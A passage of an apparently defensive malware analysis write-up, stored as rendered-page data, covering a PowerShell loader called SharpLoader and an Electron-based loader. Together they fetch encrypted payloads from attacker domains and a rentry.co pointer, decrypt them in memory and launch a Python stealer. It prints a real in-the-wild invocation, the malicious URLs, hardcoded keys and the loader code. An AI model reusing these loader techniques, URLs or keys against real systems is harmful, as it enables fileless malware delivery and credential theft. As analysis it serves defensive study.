= a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[1546,7908,7909,7914,7919,7924,7929,7934],{"__ignoreMap":863},[1584,7910,7911],{"class":1586,"line":1587},[1584,7912,7913],{},"MethodInfo method = a.EntryPoint;\n",[1584,7915,7916],{"class":1586,"line":864},[1584,7917,7918],{},"if (method != null)\n",[1584,7920,7921],{"class":1586,"line":1810},[1584,7922,7923],{},"{\n",[1584,7925,7926],{"class":1586,"line":1827},[1584,7927,7928],{},"    object o = a.CreateInstance(method.Name);\n",[1584,7930,7931],{"class":1586,"line":2131},[1584,7932,7933],{},"    method.Invoke(o, null);\n",[1584,7935,7936],{"class":1586,"line":2137},[1584,7937,7938],{},"}\n",[806,7940,7941,7942,7945],{},"This ensures compatibility with assemblies that require an instantiated object for execution (e.g., ",[1546,7943,7944],{},"public int Main()"," inside a class instance). The code dynamically creates an instance of the class and then calls the entry point method.",[806,7947,7948],{},"Combined with the AMSI bypass and in-memory decryption, this mechanism delivers the final payload to execution in a stealthy, fully fileless manner — a hallmark of modern, evasive malware.",[810,7950,7952],{"id":7951},"_45-command-line-parameters-and-flexibility","4.5 Command Line Parameters and Flexibility",[806,7954,1531],{},[806,7956,7957,7958,7960],{},"The PowerShell function ",[1546,7959,7427],{}," is designed to act as a flexible wrapper for arbitrary .NET payloads. It supports dynamic input of both the payload location and arguments, allowing a single loader instance to be reused across multiple operations or campaigns.",[806,7962,7963],{},[1732,7964,7965],{},"Supported Parameters:",[2733,7967,7968,7974,7980,8000],{},[2736,7969,7970,7973],{},[1546,7971,7972],{},"-location"," (mandatory): Specifies either a URL or a local file path to the stage two encrypted payload.",[2736,7975,7976,7979],{},[1546,7977,7978],{},"-password"," (mandatory): Used to derive the AES decryption key.",[2736,7981,7982,2285,7985,2285,7988,7991,7992,7995,7996,7999],{},[1546,7983,7984],{},"-argument",[1546,7986,7987],{},"-argument2",[1546,7989,7990],{},"-argument3"," (optional): These are forwarded directly to the ",[1546,7993,7994],{},".NET"," assembly’s ",[1546,7997,7998],{},"Main()"," method via reflection.",[2736,8001,8002,8005],{},[1546,8003,8004],{},"-noArgs",": Triggers execution without passing any parameters to the second-stage payload.",[806,8007,8008],{},"Internally, the arguments are collected and forwarded like this:",[1540,8010,8012],{"className":7216,"code":8011,"language":7218,"meta":863,"style":863},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[1546,8013,8014,8019],{"__ignoreMap":863},[1584,8015,8016],{"class":1586,"line":1587},[1584,8017,8018],{},"object[] cmd = args.Skip(2).ToArray();\n",[1584,8020,8021],{"class":1586,"line":864},[1584,8022,8023],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[806,8025,8026],{},"This means that the .NET payload is expected to have a signature like:",[1540,8028,8030],{"className":7586,"code":8029,"language":7588,"meta":863,"style":863},"static void Main(string[] args)\n",[1546,8031,8032],{"__ignoreMap":863},[1584,8033,8034],{"class":1586,"line":1587},[1584,8035,8029],{},[806,8037,8038,8039,8041],{},"or it will gracefully fall back to the parameterless ",[1546,8040,7998],{}," variant via fallback logic. This behavior allows red teams or malware authors to create multi-purpose second stages that can perform different operations depending on the input — for example, launching an implant, collecting system info, or initiating C2 communication.",[806,8043,8044],{},"Such modularity and configurability are key features of advanced malware frameworks, and they illustrate how script-based loaders can behave as highly adaptive execution environments for downstream payloads.",[810,8046,8048],{"id":8047},"_46-real-world-usage-example","4.6 Real-World Usage Example",[806,8050,1531],{},[806,8052,8053],{},"To illustrate SharpLoader’s real-world execution in an actual campaign, consider the following invocation seen in the wild:",[1540,8055,8057],{"className":7216,"code":8056,"language":7218,"meta":863,"style":863},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[1546,8058,8059],{"__ignoreMap":863},[1584,8060,8061],{"class":1586,"line":1587},[1584,8062,8056],{},[806,8064,8065],{},"This example highlights the typical use case of SharpLoader:",[2733,8067,8068,8082,8094,8104],{},[2736,8069,8070,8073,8074,8077,8078,8081],{},[1732,8071,8072],{},"Location Argument",": The URL points to a remote server hosting ",[1546,8075,8076],{},"calc.enc",", a concealed second-stage payload. The endpoint is located under a legitimate-looking ",[1546,8079,8080],{},".well-known"," directory, often used for HTTPS certificate validation, which helps blend the URL into legitimate web traffic.",[2736,8083,8084,2540,8087,8089,8090,8093],{},[1732,8085,8086],{},"Payload Characteristics",[1546,8088,8076],{}," is a ",[1732,8091,8092],{},"triple-obfuscated file"," — Base64-encoded, GZip-compressed, and AES-encrypted. This obfuscation pipeline ensures the payload is opaque to most detection mechanisms unless fully executed and decrypted in memory.",[2736,8095,8096,8099,8100,8103],{},[1732,8097,8098],{},"Password Argument",": The string ",[1546,8101,8102],{},"UwUFufu1"," is used at runtime to derive the AES key via SHA-256 and PBKDF2. Without this password, the payload cannot be decrypted, making offline analysis without context nearly impossible.",[2736,8105,8106,8109,8110,8112],{},[1732,8107,8108],{},"No Additional Arguments",": The ",[1546,8111,8004],{}," switch indicates that no command-line parameters are passed to the decrypted .NET assembly, triggering its default execution path.",[806,8114,8115,8116,8119],{},"This stealthy invocation chain encapsulates SharpLoader’s core purpose: ",[1732,8117,8118],{},"fileless, adaptive, and secure payload delivery"," through simple PowerShell syntax with maximum obfuscation and evasion.",[810,8121,8123],{"id":8122},"_47-summary","4.7 Summary",[806,8125,1531],{},[806,8127,1880,8128,8130],{},[1546,8129,7427],{}," construct exemplifies a highly refined and evasive malware staging technique that leverages native system components, reflection, and cryptography to operate almost entirely in-memory.",[806,8132,8133],{},[1732,8134,8135],{},"Key Highlights:",[2733,8137,8138,8147,8153,8159],{},[2736,8139,8140,8143,8144,8146],{},[1732,8141,8142],{},"Bypassing AMSI",": Direct in-memory patching of ",[1546,8145,7567],{}," disables antivirus inspection without invoking detectable APIs.",[2736,8148,8149,8152],{},[1732,8150,8151],{},"Secure Payload Handling",": Retrieval of encrypted and compressed stage-two payloads ensures confidentiality and adds multiple layers of evasion.",[2736,8154,8155,8158],{},[1732,8156,8157],{},"Memory-Only Execution",": Decrypted payloads are never written to disk, making detection by traditional file-based scanners nearly impossible.",[2736,8160,8161,8164],{},[1732,8162,8163],{},"Modular and Reusable Architecture",": Through PowerShell parameters, SharpLoader can be flexibly reused across campaigns with varying payloads and runtime behaviors.",[1511,8166,8168,8169,8171],{"id":8167},"_5-deep-dive-mainexe-electron-based-malware-loader","5. Deep Dive: ",[1546,8170,6149],{}," – Electron-Based Malware Loader",[806,8173,816],{},[806,8175,8176,8177,8179,8180,8183,8184,8186,8187,8189],{},"During reverse engineering, it became clear that ",[1546,8178,6149],{},", flagged by Microsoft Defender for Endpoint, was not a conventional binary but an ",[1732,8181,8182],{},"Electron-based malware loader",". It was delivered inside an archive named ",[1546,8185,7360],{},", which ",[1546,8188,6145],{}," downloaded and extracted at runtime. Once unpacked, the structure and contents strongly resembled a typical Electron application.",[810,8191,8193],{"id":8192},"_51-recognizing-electron-structure","5.1 Recognizing Electron Structure",[806,8195,1531],{},[806,8197,8198],{},"The extracted folder included files such as:",[2733,8200,8201,8212,8220,8226],{},[2736,8202,8203,2285,8206,2285,8209],{},[1546,8204,8205],{},"chrome_100_percent.pak",[1546,8207,8208],{},"v8_context_snapshot.bin",[1546,8210,8211],{},"d3dcompiler_47.dll",[2736,8213,8214,835,8217],{},[1546,8215,8216],{},"LICENSES.chromium",[1546,8218,8219],{},"LICENSES.electron",[2736,8221,8222,8223,8225],{},"A large ",[1546,8224,6149],{}," binary (~150 MB)",[2736,8227,8228,8229,8231,8232,8234,8235],{},"A ",[1546,8230,7370],{}," folder containing ",[1546,8233,6599],{}," and a secondary binary ",[1546,8236,8237],{},"elevate.exe",[806,8239,8240],{},[1449,8241],{"alt":8242,"src":8243},"Packaged Windows 64-bit version of the desktop app","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[806,8245,8246,8247,8249],{},"These are all strong indicators of an Electron app, which uses Chromium and Node.js to package JavaScript-based desktop applications. The presence of ",[1546,8248,8237],{},", a signed Microsoft binary often used to escalate privileges, raised further suspicion—it could be abused to launch child processes with elevated rights.",[810,8251,8253],{"id":8252},"_52-unpacking-and-static-analysis-deep-dive","5.2 Unpacking and Static Analysis (Deep Dive)",[806,8255,1531],{},[806,8257,8258,8259,8261,8262,8264,8265,8267,8268,8270,8271,8274],{},"Rather than executing ",[1546,8260,6149],{},", I opted for a static analysis approach to avoid triggering any live behavior. My initial suspicion that ",[1546,8263,6149],{}," was built with Electron was confirmed by locating the ",[1546,8266,6599],{}," file inside the ",[1546,8269,7370],{}," directory. In Electron apps, this archive contains all core application logic, such as JavaScript files, configuration (",[1546,8272,8273],{},"package.json","), and assets, packed into a custom format for performance and obfuscation purposes.",[806,8276,1880,8277,8280,8281,8284],{},[1546,8278,8279],{},".asar"," archive is essentially a read-only, high-performance container similar to ",[1546,8282,8283],{},".zip",", but optimized for Electron’s runtime. While not encrypted, it obfuscates code access, making static analysis more challenging unless unpacked.",[806,8286,8287,8288,8291],{},"To unpack it, I used the official ",[1546,8289,8290],{},"asar"," tool provided via npm. The steps were:",[1540,8293,8295],{"className":1743,"code":8294,"language":1745,"meta":863,"style":863},"npm install -g asar\nasar extract app.asar extracted_app\n",[1546,8296,8297,8311],{"__ignoreMap":863},[1584,8298,8299,8302,8305,8308],{"class":1586,"line":1587},[1584,8300,8301],{"class":1752},"npm",[1584,8303,8304],{"class":1770}," install",[1584,8306,8307],{"class":1756}," -g",[1584,8309,8310],{"class":1770}," asar\n",[1584,8312,8313,8315,8318,8321],{"class":1586,"line":864},[1584,8314,8290],{"class":1752},[1584,8316,8317],{"class":1770}," extract",[1584,8319,8320],{"class":1770}," app.asar",[1584,8322,8323],{"class":1770}," extracted_app\n",[806,8325,8326,8327,8330],{},"Running the above commands extracted the content into a working folder (",[1546,8328,8329],{},"extracted_app/","), which revealed the actual JavaScript application code. This included:",[2733,8332,8333,8354,8362],{},[2736,8334,8335,2285,8338,2285,8341,8344,8345,8347,8348,8350,8351,8353],{},[1546,8336,8337],{},"jscryter.js",[1546,8339,8340],{},"input.js",[1546,8342,8343],{},"obf.js",": These scripts form the malware logic. ",[1546,8346,8337],{}," appears to orchestrate payload delivery, ",[1546,8349,8340],{}," defines configuration constants or command logic, and ",[1546,8352,8343],{}," is a heavily obfuscated script likely containing the core payload logic.",[2736,8355,8356,2285,8358,8361],{},[1546,8357,8273],{},[1546,8359,8360],{},"package-lock.json",": Define the runtime environment",[2736,8363,8364,8367,8368,2285,8371,2285,8374],{},[1546,8365,8366],{},"node_modules/",": Contains all dependencies like ",[1546,8369,8370],{},"axios",[1546,8372,8373],{},"adm-zip",[1546,8375,8376],{},"child_process",[806,8378,8379,8380,8382,8383,2491],{},"The unpacked contents enabled complete visibility into the logic of the malware without requiring execution, which was essential for safe reverse engineering. This step confirmed that ",[1546,8381,6149],{}," served purely as a runtime wrapper for the malicious scripts hidden inside ",[1546,8384,6599],{},[810,8386,8388],{"id":8387},"_53-what-the-static-analysis-revealed","5.3. What the Static Analysis Revealed",[806,8390,1531],{},[806,8392,8393],{},"By manually inspecting the code, I confirmed the malware logic was fully JavaScript-based, executed within the Electron runtime. The scripts were designed to:",[2733,8395,8396,8403,8408,8411],{},[2736,8397,8398,8399,8402],{},"Download an encrypted payload (",[1546,8400,8401],{},"pyth.zip",") from fallback URLs",[2736,8404,8405,8406],{},"Extract the archive using ",[1546,8407,8373],{},[2736,8409,8410],{},"Perform string replacement to inject specific credentials or wallet addresses",[2736,8412,8413,8414,8416,8417,835,8420],{},"Launch the resulting Python file (",[1546,8415,6153],{},") via ",[1546,8418,8419],{},"child_process.exec()",[1546,8421,6125],{},[806,8423,8424,8425,8431],{},"Crucially, the loader also included logic to ",[1732,8426,8427,8428,8430],{},"copy ",[1546,8429,6145],{}," into the user's AppData directory"," if it wasn't already present—reinforcing persistence and maintaining the infection loop.",[1511,8433,8435,8436,8438],{"id":8434},"_6-deep-dive-inputjs-the-encrypted-javascript-payload-loader","6. Deep Dive: ",[1546,8437,8340],{}," – The Encrypted JavaScript Payload Loader",[806,8440,816],{},[806,8442,8443,8445],{},[1546,8444,8340],{}," is a critical component in the analyzed malware chain, functioning as the decryption and execution hub for an encrypted JavaScript payload. This script hides its core functionality behind a strong encryption layer and only reveals its behavior during runtime.",[810,8447,8449],{"id":8448},"_61-encryption-and-decryption-mechanics","6.1 Encryption and Decryption Mechanics",[806,8451,1531],{},[806,8453,8454,8455,8457],{},"At first glance, ",[1546,8456,8340],{}," contains very little readable code. However, its primary purpose is to decrypt and execute a large obfuscated JavaScript blob stored within the script itself.",[1667,8459,8461],{"id":8460},"_611-decryption-logic","6.1.1 Decryption Logic",[806,8463,1673],{},[806,8465,8466,8467,8470],{},"The script defines a ",[1546,8468,8469],{},"decrypt()"," function that accepts four parameters:",[2733,8472,8473,8479,8485,8491],{},[2736,8474,8475,8478],{},[1546,8476,8477],{},"encdata",": The encrypted Base64-encoded data",[2736,8480,8481,8484],{},[1546,8482,8483],{},"masterkey",": A plaintext passphrase",[2736,8486,8487,8490],{},[1546,8488,8489],{},"salt",": A cryptographic salt (Base64)",[2736,8492,8493,8496],{},[1546,8494,8495],{},"iv",": The initialization vector for AES decryption (Base64)",[806,8498,8499,8500,8503],{},"The decryption process is implemented using Node.js’s built-in ",[1546,8501,8502],{},"crypto"," module. It proceeds as follows:",[4349,8505,8506,8613,8725],{},[2736,8507,8508,8511,8512,8587],{},[1732,8509,8510],{},"Key Derivation:","\nThe script derives a 256-bit symmetric key using PBKDF2 (Password-Based Key Derivation Function 2):",[1540,8513,8517],{"className":8514,"code":8515,"language":8516,"meta":863,"style":863},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[1546,8518,8519,8539,8544,8561,8569,8576,8583],{"__ignoreMap":863},[1584,8520,8521,8524,8527,8530,8533,8536],{"class":1586,"line":1587},[1584,8522,8523],{"class":1766},"const",[1584,8525,8526],{"class":1756}," key",[1584,8528,8529],{"class":1766}," =",[1584,8531,8532],{"class":1774}," crypto.",[1584,8534,8535],{"class":1752},"pbkdf2Sync",[1584,8537,8538],{"class":1774},"(\n",[1584,8540,8541],{"class":1586,"line":864},[1584,8542,8543],{"class":1774},"  masterkey,\n",[1584,8545,8546,8549,8552,8555,8558],{"class":1586,"line":1810},[1584,8547,8548],{"class":1774},"  Buffer.",[1584,8550,8551],{"class":1752},"from",[1584,8553,8554],{"class":1774},"(salt, ",[1584,8556,8557],{"class":1770},"\"base64\"",[1584,8559,8560],{"class":1774},"),\n",[1584,8562,8563,8566],{"class":1586,"line":1827},[1584,8564,8565],{"class":1756},"  100000",[1584,8567,8568],{"class":1774},",\n",[1584,8570,8571,8574],{"class":1586,"line":2131},[1584,8572,8573],{"class":1756},"  32",[1584,8575,8568],{"class":1774},[1584,8577,8578,8581],{"class":1586,"line":2137},[1584,8579,8580],{"class":1770},"  \"sha512\"",[1584,8582,8568],{"class":1774},[1584,8584,8585],{"class":1586,"line":2143},[1584,8586,2304],{"class":1774},[2733,8588,8589,8595,8601,8607],{},[2736,8590,8591,8594],{},[1732,8592,8593],{},"Hash function:"," SHA-512",[2736,8596,8597,8600],{},[1732,8598,8599],{},"Iterations:"," 100,000",[2736,8602,8603,8606],{},[1732,8604,8605],{},"Key length:"," 32 bytes (256 bits)",[2736,8608,8609,8612],{},[1732,8610,8611],{},"Salt:"," Supplied as a Base64-decoded input",[2736,8614,8615,8618,8619,8669,8671,8672],{},[1732,8616,8617],{},"AES-256-CBC Decryption:","\nThe derived key is then used to create an AES decipher object:",[1540,8620,8622],{"className":8514,"code":8621,"language":8516,"meta":863,"style":863},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[1546,8623,8624,8640,8647,8652,8665],{"__ignoreMap":863},[1584,8625,8626,8628,8631,8633,8635,8638],{"class":1586,"line":1587},[1584,8627,8523],{"class":1766},[1584,8629,8630],{"class":1756}," decipher",[1584,8632,8529],{"class":1766},[1584,8634,8532],{"class":1774},[1584,8636,8637],{"class":1752},"createDecipheriv",[1584,8639,8538],{"class":1774},[1584,8641,8642,8645],{"class":1586,"line":864},[1584,8643,8644],{"class":1770},"  \"aes-256-cbc\"",[1584,8646,8568],{"class":1774},[1584,8648,8649],{"class":1586,"line":1810},[1584,8650,8651],{"class":1774},"  key,\n",[1584,8653,8654,8656,8658,8661,8663],{"class":1586,"line":1827},[1584,8655,8548],{"class":1774},[1584,8657,8551],{"class":1752},[1584,8659,8660],{"class":1774},"(iv, ",[1584,8662,8557],{"class":1770},[1584,8664,8560],{"class":1774},[1584,8666,8667],{"class":1586,"line":2131},[1584,8668,2304],{"class":1774},[2012,8670],{},"The encrypted payload is decrypted using standard CBC (Cipher Block Chaining) mode:",[1540,8673,8675],{"className":8514,"code":8674,"language":8516,"meta":863,"style":863},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[1546,8676,8677,8706],{"__ignoreMap":863},[1584,8678,8679,8682,8685,8688,8691,8694,8697,8699,8701,8704],{"class":1586,"line":1587},[1584,8680,8681],{"class":1766},"let",[1584,8683,8684],{"class":1774}," decrypted ",[1584,8686,8687],{"class":1766},"=",[1584,8689,8690],{"class":1774}," decipher.",[1584,8692,8693],{"class":1752},"update",[1584,8695,8696],{"class":1774},"(encdata, ",[1584,8698,8557],{"class":1770},[1584,8700,2285],{"class":1774},[1584,8702,8703],{"class":1770},"\"utf8\"",[1584,8705,2304],{"class":1774},[1584,8707,8708,8711,8714,8716,8719,8721,8723],{"class":1586,"line":864},[1584,8709,8710],{"class":1774},"decrypted ",[1584,8712,8713],{"class":1766},"+=",[1584,8715,8690],{"class":1774},[1584,8717,8718],{"class":1752},"final",[1584,8720,2026],{"class":1774},[1584,8722,8703],{"class":1770},[1584,8724,2304],{"class":1774},[2736,8726,8727,8730,8731,8734,8735,8756,8758],{},[1732,8728,8729],{},"Dynamic Execution:","\nThe decrypted JavaScript code is never written to disk. Instead, it is dynamically executed in memory using the ",[1546,8732,8733],{},"Function"," constructor:",[1540,8736,8738],{"className":8514,"code":8737,"language":8516,"meta":863,"style":863},"new Function(\"require\", decrypted)(require);\n",[1546,8739,8740],{"__ignoreMap":863},[1584,8741,8742,8745,8748,8750,8753],{"class":1586,"line":1587},[1584,8743,8744],{"class":1766},"new",[1584,8746,8747],{"class":1752}," Function",[1584,8749,2026],{"class":1774},[1584,8751,8752],{"class":1770},"\"require\"",[1584,8754,8755],{"class":1774},", decrypted)(require);\n",[2012,8757],{},"This technique enables fileless execution, reducing the chance of detection by traditional antivirus engines that rely on disk-based scanning.",[806,8760,8761],{},"This approach demonstrates a layered defense against reverse engineering by combining key derivation, strong encryption, and dynamic in-memory execution.",[806,8763,8764],{},[1732,8765,8766],{},"Key Material and Encrypted Data",[806,8768,8769],{},"The script includes the following hardcoded inputs:",[2733,8771,8772,8778,8786,8794],{},[2736,8773,8774,8777],{},[1732,8775,8776],{},"Encrypted Data:"," A massive Base64-encoded blob",[2736,8779,8780,2021,8783],{},[1732,8781,8782],{},"Master Key:",[1546,8784,8785],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[2736,8787,8788,2021,8790,8793],{},[1732,8789,8611],{},[1546,8791,8792],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-encoded)",[2736,8795,8796,2021,8799,8793],{},[1732,8797,8798],{},"IV:",[1546,8800,8801],{},"HwK6sOz7FBbL+YsrOxtYUg==",[806,8803,8804,8805,2491],{},"These are all embedded directly in the source code of ",[1546,8806,8340],{},[810,8808,8810],{"id":8809},"_62-post-decryption-payload-behavior","6.2 Post-Decryption Payload Behavior",[806,8812,1531],{},[806,8814,8815],{},"Once decrypted, the embedded payload becomes a full JavaScript program that performs the following malicious actions:",[1667,8817,8819],{"id":8818},"_621-environment-preparation","6.2.1 Environment Preparation",[806,8821,1673],{},[806,8823,8824],{},"The decrypted payload begins by setting up its execution environment using built-in Node.js modules. This setup phase ensures that all required paths and working directories are clearly defined before any malicious behavior occurs.",[2733,8826,8827,8860],{},[2736,8828,8829,8832,8833,8836,8837],{},[1732,8830,8831],{},"Temporary Directory Resolution:","\nThe malware calls ",[1546,8834,8835],{},"os.tmpdir()"," to determine the path to the current system's temporary directory. This is a common tactic for malware as temporary folders are typically writable and less scrutinized by endpoint protection systems.",[1540,8838,8840],{"className":8514,"code":8839,"language":8516,"meta":863,"style":863},"const tempDir = os.tmpdir();\n",[1546,8841,8842],{"__ignoreMap":863},[1584,8843,8844,8846,8849,8851,8854,8857],{"class":1586,"line":1587},[1584,8845,8523],{"class":1766},[1584,8847,8848],{"class":1756}," tempDir",[1584,8850,8529],{"class":1766},[1584,8852,8853],{"class":1774}," os.",[1584,8855,8856],{"class":1752},"tmpdir",[1584,8858,8859],{"class":1774},"();\n",[2736,8861,8862,8865,8866,8879],{},[1732,8863,8864],{},"Path Construction:","\nThe script then constructs absolute paths for two important files:",[2733,8867,8868,8873],{},[2736,8869,8870,8872],{},[1546,8871,8401],{},": The archive that contains the actual second-stage Python-based stealer",[2736,8874,8875,8878],{},[1546,8876,8877],{},"bnd.exe",": An optional executable file that may serve as a persistence backdoor or additional payload",[1540,8880,8882],{"className":8514,"code":8881,"language":8516,"meta":863,"style":863},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[1546,8883,8884,8907],{"__ignoreMap":863},[1584,8885,8886,8888,8891,8893,8896,8899,8902,8905],{"class":1586,"line":1587},[1584,8887,8523],{"class":1766},[1584,8889,8890],{"class":1756}," tempFile",[1584,8892,8529],{"class":1766},[1584,8894,8895],{"class":1774}," path.",[1584,8897,8898],{"class":1752},"join",[1584,8900,8901],{"class":1774},"(tempDir, ",[1584,8903,8904],{"class":1770},"\"pyth.zip\"",[1584,8906,2304],{"class":1774},[1584,8908,8909,8911,8914,8916,8918,8920,8922,8925],{"class":1586,"line":864},[1584,8910,8523],{"class":1766},[1584,8912,8913],{"class":1756}," binderFile",[1584,8915,8529],{"class":1766},[1584,8917,8895],{"class":1774},[1584,8919,8898],{"class":1752},[1584,8921,8901],{"class":1774},[1584,8923,8924],{"class":1770},"\"bnd.exe\"",[1584,8926,2304],{"class":1774},[806,8928,8929],{},"This path setup abstracts away OS-specific path syntax and enables the malware to operate seamlessly on any Windows system. It also sets the stage for the file download and unpacking mechanisms that follow.",[1667,8931,8933],{"id":8932},"_622-payload-download-with-fallback-strategy","6.2.2 Payload Download with Fallback Strategy",[806,8935,1673],{},[806,8937,8938],{},"The second major phase of the decrypted JavaScript payload involves downloading a malicious ZIP archive from remote sources. This mechanism is designed with a multi-tiered fallback strategy to increase resilience and availability.",[2733,8940,8941,8972,9057,9091],{},[2736,8942,8943,8946,8947,8966,8968,8969,8971],{},[1732,8944,8945],{},"Primary Link Resolution via Rentry.co","\nThe script begins by resolving a dynamic URL from a text paste service. It sends a GET request to:",[1540,8948,8950],{"className":8514,"code":8949,"language":8516,"meta":863,"style":863},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[1546,8951,8952],{"__ignoreMap":863},[1584,8953,8954,8956,8959,8961,8964],{"class":1586,"line":1587},[1584,8955,8523],{"class":1766},[1584,8957,8958],{"class":1756}," url",[1584,8960,8529],{"class":1766},[1584,8962,8963],{"class":1770}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1584,8965,2843],{"class":1774},[2012,8967],{},"This returns a plain-text URL string pointing to the actual location of the ",[1546,8970,8401],{}," archive. Using a redirection mechanism like this is a common obfuscation technique—it abstracts the real malicious URL and makes static detection harder.",[2736,8973,8974,8977,8978,9010,9012,9013,9015,9016,9050,9052,9053,9056],{},[1732,8975,8976],{},"Download Execution","\nThe resolved URL is then requested using the Axios library with a response stream:",[1540,8979,8981],{"className":8514,"code":8980,"language":8516,"meta":863,"style":863},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[1546,8982,8983],{"__ignoreMap":863},[1584,8984,8985,8987,8990,8992,8995,8998,9001,9004,9007],{"class":1586,"line":1587},[1584,8986,8523],{"class":1766},[1584,8988,8989],{"class":1756}," fileResponse",[1584,8991,8529],{"class":1766},[1584,8993,8994],{"class":1766}," await",[1584,8996,8997],{"class":1774}," axios.",[1584,8999,9000],{"class":1752},"get",[1584,9002,9003],{"class":1774},"(fileUrl, { responseType: ",[1584,9005,9006],{"class":1770},"\"stream\"",[1584,9008,9009],{"class":1774}," });\n",[2012,9011],{},"The file is written to disk as ",[1546,9014,8401],{}," in the system's temp directory:",[1540,9017,9019],{"className":8514,"code":9018,"language":8516,"meta":863,"style":863},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[1546,9020,9021,9039],{"__ignoreMap":863},[1584,9022,9023,9025,9028,9030,9033,9036],{"class":1586,"line":1587},[1584,9024,8523],{"class":1766},[1584,9026,9027],{"class":1756}," writer",[1584,9029,8529],{"class":1766},[1584,9031,9032],{"class":1774}," fs.",[1584,9034,9035],{"class":1752},"createWriteStream",[1584,9037,9038],{"class":1774},"(tempFile);\n",[1584,9040,9041,9044,9047],{"class":1586,"line":864},[1584,9042,9043],{"class":1774},"fileResponse.data.",[1584,9045,9046],{"class":1752},"pipe",[1584,9048,9049],{"class":1774},"(writer);\n",[2012,9051],{},"This download is wrapped in a ",[1546,9054,9055],{},"Promise"," to ensure synchronous completion before further logic is executed.",[2736,9058,9059,9062,9063,9088,9090],{},[1732,9060,9061],{},"Fallback URLs","\nIf the Rentry-based link fails, the script attempts hardcoded backup locations:",[1540,9064,9066],{"className":8514,"code":9065,"language":8516,"meta":863,"style":863},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[1546,9067,9068,9079],{"__ignoreMap":863},[1584,9069,9070,9073,9075],{"class":1586,"line":1587},[1584,9071,9072],{"class":1752},"https",[1584,9074,3029],{"class":1774},[1584,9076,9078],{"class":9077},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1584,9080,9081,9083,9085],{"class":1586,"line":864},[1584,9082,9072],{"class":1752},[1584,9084,3029],{"class":1774},[1584,9086,9087],{"class":9077},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[2012,9089],{},"These domains are structured to appear as part of standard TLS validation folders, possibly mimicking Let's Encrypt or domain validation paths to reduce suspicion. Each fallback is retried with the same streaming and file-write logic.",[2736,9092,9093,9096,9097,9100],{},[1732,9094,9095],{},"Robustness and Obfuscation","\nThis fallback mechanism ensures that the malware has multiple retrieval paths for its second-stage payload. The use of a dynamic pointer (",[1546,9098,9099],{},"rentry.co",") and multiple failover mirrors makes the malware more resilient to takedowns, blocking, and DNS sinkholes.",[806,9102,9103],{},"This phase demonstrates careful operational planning by the malware authors, using layered redundancy and well-camouflaged delivery infrastructure.",[2733,9105,9106,9112],{},[2736,9107,9108,9109,9111],{},"Downloads ",[1546,9110,8401],{}," from the resolved URL",[2736,9113,9114,9115],{},"If that fails, it attempts fallback mirrors:\n",[2733,9116,9117,9122],{},[2736,9118,9119],{},[1546,9120,9121],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[2736,9123,9124],{},[1546,9125,9126],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[1667,9128,9130],{"id":9129},"_623-payload-extraction-and-manipulation","6.2.3 Payload Extraction and Manipulation",[806,9132,1673],{},[806,9134,9135,9136,9138,9139,9141],{},"Once the ",[1546,9137,8401],{}," archive has been successfully downloaded and saved to disk, the malware proceeds to extract its contents and prepare them for execution. This is accomplished using the ",[1546,9140,8373],{}," Node.js library, which allows programmatic handling of ZIP files.",[2733,9143,9144,9191,9218],{},[2736,9145,9146,9149,9185,9187,9188,9190],{},[1732,9147,9148],{},"ZIP Extraction:",[1540,9150,9152],{"className":8514,"code":9151,"language":8516,"meta":863,"style":863},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[1546,9153,9154,9171],{"__ignoreMap":863},[1584,9155,9156,9158,9161,9163,9166,9169],{"class":1586,"line":1587},[1584,9157,8523],{"class":1766},[1584,9159,9160],{"class":1756}," zip",[1584,9162,8529],{"class":1766},[1584,9164,9165],{"class":1766}," new",[1584,9167,9168],{"class":1752}," AdmZip",[1584,9170,9038],{"class":1774},[1584,9172,9173,9176,9179,9181,9183],{"class":1586,"line":864},[1584,9174,9175],{"class":1774},"zip.",[1584,9177,9178],{"class":1752},"extractAllTo",[1584,9180,8901],{"class":1774},[1584,9182,1435],{"class":1756},[1584,9184,2304],{"class":1774},[2012,9186],{},"This extracts all contents of the archive to the system's temporary directory. The ",[1546,9189,1435],{}," flag ensures overwriting of any existing files.",[2736,9192,9193,9196,9197,9199,9200],{},[1732,9194,9195],{},"Archive Contents:","\nThe archive ",[1546,9198,8401],{}," includes a fully bundled Python project, including:",[2733,9201,9202,9205,9208],{},[2736,9203,9204],{},"A directory structure resembling a legitimate Python package",[2736,9206,9207],{},"Several Python modules and dependencies",[2736,9209,9210,9211,9213,9214,9217],{},"The key file ",[1546,9212,6153],{}," located at ",[1546,9215,9216],{},"Crypto/Util/astor.py",", which is the main stealer payload",[2736,9219,9220,9223,9224,9226,9227,9247],{},[1732,9221,9222],{},"Placeholder Replacement:","\nThe malware performs dynamic substitution of predefined placeholders within ",[1546,9225,6153],{}," to inject attacker-controlled configuration data such 